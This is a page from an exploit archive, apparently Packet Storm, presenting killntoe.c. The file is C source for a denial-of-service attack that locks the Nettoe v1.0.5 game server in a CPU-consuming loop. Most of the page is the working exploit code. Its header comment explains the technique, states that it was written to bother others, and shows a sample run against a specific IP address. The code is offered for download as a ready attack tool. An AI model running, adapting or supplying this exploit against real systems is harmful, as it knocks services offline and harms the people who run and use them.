what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

killntoe.c

killntoe.c
Posted Dec 15, 2000
Authored by vade79, realhalo | Site realhalo.org

Nettoe v1.0.5 denial of service attack - Causes the Nettoe server to use all available CPU cycles and lock the game.

tags | exploit, denial of service
SHA-256 | 0829ddccf17a5f6cf8784776e011d370671b9df074562df981cf1b37ab918cdd

killntoe.c

Change Mirror Download
/* (linux)nettoe[v1.0.5] denial of service.  by: v9[v9@fakehalo.org].  this wil
l
make nettoe's cpu usage go through to roof. i was mainly looking through
the source to this program to find security breaches in order to execute
arbitrary code. i found this in the process, this will make the cpu usage o
f
nettoe go extremely high, and lock the game(loop), allowing you to disconnec
t
and it still be absorbing cpu usage. (it pissed me off when i did it by
accident, so i figured it was worth slapping this together to bother someone
else somewhere)

example:
# ./killntoe 209.214.40.98
[ nettoe[v1.0.5]: cpu lock/overload DoS, by v9[v9@fakehalo.org].
*** target: 209.214.40.98(client:7501!server:7502), idle time: 15.
*** binding port. (server:7502)
*** connecting to 209.214.40.98. (client:7501)
*** closing connection, to start the game. (server:7502)
*** now waiting idle time(15), to insure the lockup.
*** closing connection, should already be locked. (client:7501)
*** completed program, exiting.

note: it must start as the players(your) turn for this to work.
*/
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>
#define DEFAULT_CLIENT_PORT 7501 // shouldn't need to be changed.
#define DEFAULT_SERVER_PORT 7502 // shouldn't need to be changed.
#define DEFAULT_IDLE 15 // to allow nettoe's internal sleep()s
main(int argc,char **argv){
char target[256];
int remote,data,sock,cport,sport,idle;
struct sockaddr_in a,ra,s;
struct hostent *t;
data=socket(AF_INET,SOCK_STREAM,0);
if(argc<2){printf("*** syntax: %s <target> [idle(secs)] [client port] [server
"
"port]\n",argv[0]);exit(-1);}
else{strncpy(target,argv[1],256);}
if(argc>2){idle=atoi(argv[2]);}
else{idle=DEFAULT_IDLE;}
if(argc>3){cport=atoi(argv[3]);}
else{cport=DEFAULT_CLIENT_PORT;}
if(argc>4){sport=atoi(argv[4]);}
else{sport=DEFAULT_SERVER_PORT;}
printf("[ nettoe[v1.0.5]: cpu lock/overload DoS, by v9[v9@fakehalo.org].\n");
printf("*** target: %s(client:%d!server:%d), idle time: %d.\n",target,cport,
sport,idle);
a.sin_family=AF_INET;
a.sin_port=htons(sport);
a.sin_addr.s_addr=INADDR_ANY;
printf("*** binding port. (server:%d)\n",sport);
if(bind(data,(struct sockaddr*)&a,16)){printf("error: bind();\n");exit(-1);}
else{
switch(fork()){
case 0:
listen(data,5);
bzero((char*)&ra,sizeof(struct sockaddr_in));
remote=accept(data,&ra,16);
sleep(1);
printf("*** closing connection, to start the game. (server:%d)\n",sport);
close(data);
printf("*** now waiting idle time(%d), to insure the lockup.\n",idle);
exit(0);
break;
case -1:
printf("error: fork();\n");
exit(-1);
break;
default:
if(s.sin_addr.s_addr=inet_addr(target)){
if(!(t=gethostbyname(target))){
printf("error: couldn't resolve. (%s)\n",target);
exit(-1);
}
memcpy((char*)&s.sin_addr,(char*)t->h_addr,sizeof(s.sin_addr));
}
s.sin_family=AF_INET;
s.sin_port=htons(cport);
sock=socket(AF_INET,SOCK_STREAM,0);
printf("*** connecting to %s. (client:%d)\n",target,cport);
if(connect(sock,(struct sockaddr_in*)&s,sizeof(s))){printf("error: connecti
"
"on failed. (%d)\n",cport);}
else{
sleep(idle);
printf("*** closing connection, should already be locked. (client:%d)\n",
cport);
close(remote);
printf("*** completed program, exiting.\n");
exit(0);
}
break;
}
exit(0);
}
}

Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    17 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close